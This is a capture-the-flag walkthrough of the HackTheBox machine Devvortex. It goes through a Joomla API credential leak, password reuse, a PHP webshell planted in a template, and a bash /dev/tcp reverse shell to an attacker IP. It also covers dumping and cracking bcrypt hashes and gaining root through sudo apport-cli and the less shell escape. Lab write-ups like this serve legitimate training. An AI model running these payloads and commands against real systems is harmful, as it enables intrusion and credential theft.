- nmap reveals ports 22 and 80 open
- 22 openssh 8.2p1
- 80 http nginx 1.18.0
-
manual inspection of source
- OwlCarousel2/2.3.4
- jquery-3.4.1.min.js
-
Subdomain enumeration -
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb -H 'Host: FUZZ.devvortex.htb- DNS - domain names
- -u url
- -H host header - include space after 'Host: ' to account for the space in the html
- this threw tons of 302 with size 154
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb -H 'Host: FUZZ.devvortex.htb' -fs 154 -t 50- -fs adds a filter for responses with 154 bytes
- reveals
devsubdomain
-
Checking robots.txt
http://dev.devvortex.htb/robots.txt- reveals the site uses Joomla
- ``` # If the Joomla site is installed within a folder
- reveals the site uses Joomla
eg www.example.com/joomla/ then the robots.txt file¶
MUST be moved to the site root¶
eg www.example.com/robots.txt¶
AND the joomla folder name MUST be prefixed to all of the¶
paths.¶
eg the Disallow rule for the /administrator/ folder MUST¶
be changed to read¶
Disallow: /joomla/administrator/¶
¶
For more information about the robots.txt standard, see:¶
https://www.robotstxt.org/orig.html¶
User-agent: * Disallow: /administrator/ Disallow: /api/ Disallow: /bin/ Disallow: /cache/ Disallow: /cli/ Disallow: /components/ Disallow: /includes/ Disallow: /installation/ Disallow: /language/ Disallow: /layouts/ Disallow: /libraries/ Disallow: /logs/ Disallow: /modules/ Disallow: /plugins/ Disallow: /tmp/ ``` - navigating to administrator gives us a joomla login page
-
Finding the Joomla version # to then look for exploits for the version
- google search for
how do i determine which version of joomla i have without logging inhttps://joomla.stackexchange.com/questions/7148/how-to-get-joomla-version-by-http- mid page with 3 upvotes
how to read _Joomla!_ mainfest file/administrator/manifests/files/joomla.xmlin order to return the version number.
- navigating to
http://dev.devvortex.htb//administrator/manifests/files/joomla.xml- reveals joomla 4.2.6

- google search for
-
Joomla version 4.2.6 exploit hunting
- https://xz.aliyun.com/news/11621
- exposed api's
http://dev.devvortex.htb/api/index.php/v1/config/application?public=true- reveals
- editor tinymce
- dbtype mysqli
- user lewis
- password P4ntherg0t1n5r3c0n##
- db joomla
- dbprefix sd4fg_
- reveals
http://dev.devvortex.htb/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20- reveals
- 6 secret ZI7zLTbaGKliS9gq
- 13 mailfrom [email protected]
- reveals
- https://xz.aliyun.com/news/11621
-
Joomla user password reuse
- lewis reuses his db password
P4ntherg0t1n5r3c0n##for joomla admin page
- lewis reuses his db password
-
curl to send reverse shell
-
nc to catch reverse shell
-
id
- whoami
- pwd
- logan dir holds user.txt
- sudo -l - nothing
-
ss -tlnp reveals mysql db
-
using lewis and reused password to login to the database
www-data@devvortex:/home/logan$ mysql -u lewis -p'P4ntherg0t1n5r3c0n##'- ```bash
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| joomla |
| performance_schema |
+--------------------+
mysql> use performance_schema ; ERROR 1044 (42000): Access denied for user 'lewis'@'localhost' to database 'performance_schema' mysql> use joomla; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Database changed mysql> describe sd4fg_users; +---------------+---------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +---------------+---------------+------+-----+---------+----------------+ | id | int | NO | PRI | NULL | auto_increment | | name | varchar(400) | NO | MUL | | | | username | varchar(150) | NO | UNI | | | | email | varchar(100) | NO | MUL | | | | password | varchar(100) | NO | | | | | block | tinyint | NO | MUL | 0 | | | sendEmail | tinyint | YES | | 0 | | | registerDate | datetime | NO | | NULL | | | lastvisitDate | datetime | YES | | NULL | | | activation | varchar(100) | NO | | | | | params | text | NO | | NULL | | | lastResetTime | datetime | YES | | NULL | | | resetCount | int | NO | | 0 | | | otpKey | varchar(1000) | NO | | | | | otep | varchar(1000) | NO | | | | | requireReset | tinyint | NO | | 0 | | | authProvider | varchar(100) | NO | | | | +---------------+---------------+------+-----+---------+----------------+ 17 rows in set (0.00 sec)
mysql> select id, name, username, email, password from sd4fg_users; +-----+------------+----------+---------------------+--------------------------------------------------------------+ | id | name | username | email | password | +-----+------------+----------+---------------------+--------------------------------------------------------------+ | 649 | lewis | lewis | [email protected] | \(2y\)10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u | | 650 | logan paul | logan | [email protected] | \(2y\)10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 | +-----+------------+----------+---------------------+--------------------------------------------------------------+ 2 rows in set (0.00 sec)
```
-
Foothold — Joomla Admin → RCE as www-data¶
Why this step: Joomla renders templates as PHP, and the admin panel ships a template file editor by design. Admin access on a PHP CMS is therefore equivalent to code execution. There is no CVE here — the vulnerability was the unauthenticated API leak that produced the admin password.
- Navigate: System → Site Templates → Cassiopeia Details and Files
- NOT "Site Template Styles" — that page is config only, no file editor
- Direct URL:
http://dev.devvortex.htb/administrator/index.php?option=com_templates&view=templates
index.phpis not writable on this box — the save fails. Useerror.phperror.phpis the better target regardless: renders only on 404s, so the live site isn't broken, and the trigger is any bogus URL- Lesson: writability is per-file. Try each; don't fixate on the obvious one
- Payload inserted on line 1 of
/templates/cassiopeia/error.php:<?php if(isset($_GET['theo'])) { system($_GET['theo']); exit; } ?>
Flags/Notes
- isset($_GET['theo']) — the gate. Without it, every 404 on the site runs
system(null), throws PHP warnings and mangles the error page. Gate = stability + stealth
- system() — executes AND echoes raw output into the response body.
(exec() returns last line only and prints nothing; shell_exec() returns a
string and needs echo; passthru() passes binary through)
- exit; — halts rendering so output isn't buried in error-page HTML
Trigger
curl -s 'http://dev.devvortex.htb/yourmom?theo=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Reverse shell
# listener
nc -lvnp 9001
# trigger — -G + --data-urlencode so curl encodes the & > and quotes for you
curl -s -G 'http://dev.devvortex.htb/yourmom' \
--data-urlencode 'theo=bash -c "bash -i >& /dev/tcp/10.10.14.X/9001 0>&1"'
TTY upgrade
script /dev/null -c bash
# Ctrl+Z ; stty raw -echo; fg ; Enter Enter
export TERM=xterm
www-data → logan¶
Finding the webroot — you have nginx, so ask nginx:
cat /etc/nginx/sites-enabled/* # look for the 'root' directive
find /var/www -name configuration.php 2>/dev/null
Principle: a web app must authenticate to its DB on every request with no
human present, so the credentials must live in a file the web user can read.
configuration.php / wp-config.php / .env / settings.py / database.yml.
Joomla randomises the table prefix at install (sd4fg_) — unguessable
without this file.
Cracking logan's bcrypt
echo -n '$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12' > loot/logan.hash
cat loot/logan.hash # ALWAYS verify — see gotcha below
hashcat -m 3200 loot/logan.hash /usr/share/wordlists/rockyou.txt
# → tequieromucho (21 seconds)
Flags/Notes
- -m 3200 — bcrypt ($2*$). Wrong mode = "no hashes loaded" or silent zero results
- Single quotes are mandatory. In double quotes bash expands $2/$1/$0
as positional params → they become empty → hash silently corrupted
- Only cracked logan. lewis's cleartext was already known — cracking a
password you already have is wasted GPU time
- Speed was 64 H/s (CPU-only PoCL). Cracked in 21s only because
tequieromucho sits at candidate ~1,400 of 14,344,385.
Full pass would be 14.3M ÷ 64 ≈ 62 hours.
Rule: keyspace ÷ H/s = worst-case seconds. If it reads "days," find another path
ssh [email protected] # tequieromucho
cat ~/user.txt
logan → root — sudo apport-cli (CVE-2023-1326)¶
logan@devvortex:~$ sudo -l
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
logan@devvortex:~$ /usr/bin/apport-cli --version
2.20.11
What apport is: Ubuntu's automatic crash-reporting system (not backup).
Catches segfaults, writes .crash files to /var/crash/, offers to file a bug.
Why this is the escape — GTFOBins "Inherit"
GTFOBins' apport-cli page has no Sudo section — only Inherit. That is
the finding, not a dead end:
| GTFOBins section | Meaning |
|---|---|
| Shell / Sudo / SUID | escape is built into the binary itself |
| Inherit | binary has no escape — it spawns a child that does |
apport-cli shells out to a pager (less) to display the report.
A child inherits its parent's privileges → sudo apport-cli → less runs as
root → less's ! shell escape returns a root shell.
The "Unprivileged" tag on that page describes the trigger (any user can
reach the pager), not the resulting privilege. You supply the sudo.
Rehearsal without sudo first (good practice — learn the menu flow safely):
logan@devvortex:~$ /usr/bin/apport-cli
Please choose (S/V/K/I/C): v
logan@devvortex:~$ id
uid=1000(logan) ... # confirms it gives nothing without sudo
The real thing
ls -la /var/crash/
sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_bash.1000.crash
# choose: V (View report) → screen fills, ':' prompt appears = that's less
!/bin/bash
Flags/Notes
- -c PATH — report from a specific crash file instead of scanning pending
ones. Deterministic; no guessing what it picks up
- Must produce more output than fits the screen, or less never engages and
there's no pager to escape from
- ! — less's built-in "run a shell command"
- Use the full path /bin/bash — sudoers secure_path constrains PATH
- ERROR: Cannot update /var/crash/...: Permission denied is cosmetic —
apport failing to write back to a logan-owned file as root. The escape still works
- If /var/crash/ is empty, generate one: sleep 300 & then kill -SIGSEGV $!
root@devvortex:/home/logan# id
uid=0(root) gid=0(root) groups=0(root)
root@devvortex:~# cat root.txt
Attack Chain¶
nmap -p- (22, 80)
└── devvortex.htb — static, dead end
└── vhost fuzz (-H 'Host: FUZZ.devvortex.htb' -fs 154) → dev.devvortex.htb
└── robots.txt → /administrator/ + /api/
└── manifests/files/joomla.xml → Joomla 4.2.6
└── unauth API config leak (CVE-2023-23752, 4.0.0–4.2.7)
└── lewis : P4ntherg0t1n5r3c0n##
├── Joomla admin panel (password reuse)
│ └── Cassiopeia error.php → RCE as www-data
└── MySQL (same password again)
└── joomla.sd4fg_users → logan bcrypt
└── hashcat → tequieromucho
└── SSH as logan → user.txt
└── sudo apport-cli → less → !/bin/bash
└── root.txt
Lessons Learned¶
-
"Alarming message, actually succeeded" — hit four times on this box. This was the recurring failure mode:
- Blank page from the webshell — PHP had fired;
exit;suppressed the 404 page. Blank ≠ the styled 404 page, and the difference tells you whether the problem is delivery or payload ERROR 1044 ... to database '<password>'— authentication had succeeded. 1045 = authentication (who are you), 1044 = authorization (what may you touch). You can't fail 1044 without passing 1045- GTFOBins "Unprivileged" — describes the trigger, not the outcome
apport: Permission denied— cosmetic; root shell still spawned → Read error text literally before concluding failure.
- Blank page from the webshell — PHP had fired;
-
Three parsing layers eat your input: bash → URL/protocol → remote interpreter. Every mechanical bug today was one layer misreading something:
- Trailing
'copied from a shell-quoted curl URL into the browser mysql -u lewis -p <pw>— space after-pmakes the next token the DB nameecho "$2y$10$..."— double quotes expand$2/$1/$0to empty → When something behaves oddly, work out which layer ate it.
- Trailing
-
GTFOBins "Inherit" is a real escape, not a dead end. No Sudo section just means the escape lives in a child process. Ask: what does this thing shell out to? Pagers (
less,more), editors (vi,nano),$PAGER/$EDITORhandoffs. Undersudothey all run as root. -
Version-first beats guessing.
manifests/files/joomla.xmlturned "some Joomla" into "4.2.6" and collapsed the CVE search to one release. Same move worked onapport-cli --version. -
Admin panel on a PHP CMS ⇒ assume RCE. Go find the file editor. WordPress theme editor, Drupal, Magento — same primitive.
-
Config files are where creds live, by necessity. An app authenticating to a DB with no human present must store the secret readable by the web user.
-
Test every credential against every service.
P4ntherg0t1n5r3c0n##was leaked as a database password and worked for the Joomla web admin panel and MySQL. That reuse is what converted an info leak into admin access. -
Filter on size when status codes are uniform. Every vhost returned
302 / 154 bytes(nginx catch-all).-fc 302over-filtered;-fs 154removed the noise signature and surfaceddev. -
Rehearse interactive exploits unprivileged first. Running
apport-cliwithoutsudoto learn the menu flow, then firing for real, is how you avoid fumbling a one-shot primitive in front of a client. -
Before cracking, ask what it buys you. bcrypt cost 10 is deliberately slow. Cracking
lewiswould have gained nothing. -
.bash_history -> /dev/null— standard HTB hardening. On real systems shell history is frequently a goldmine; always check.
Cleanup (engagement hygiene)¶
-
/templates/cassiopeia/error.phpstill contains the webshell — revert it. Recoverable from a stock Joomla 4.2.6 tarball. - Three failed
sudoattempts aswww-datawere logged. Note_laurelin/etc/passwd— this box runs the Laurel auditd plugin, so auth failures are being shipped to audit logs. On a real engagement that is a detection event.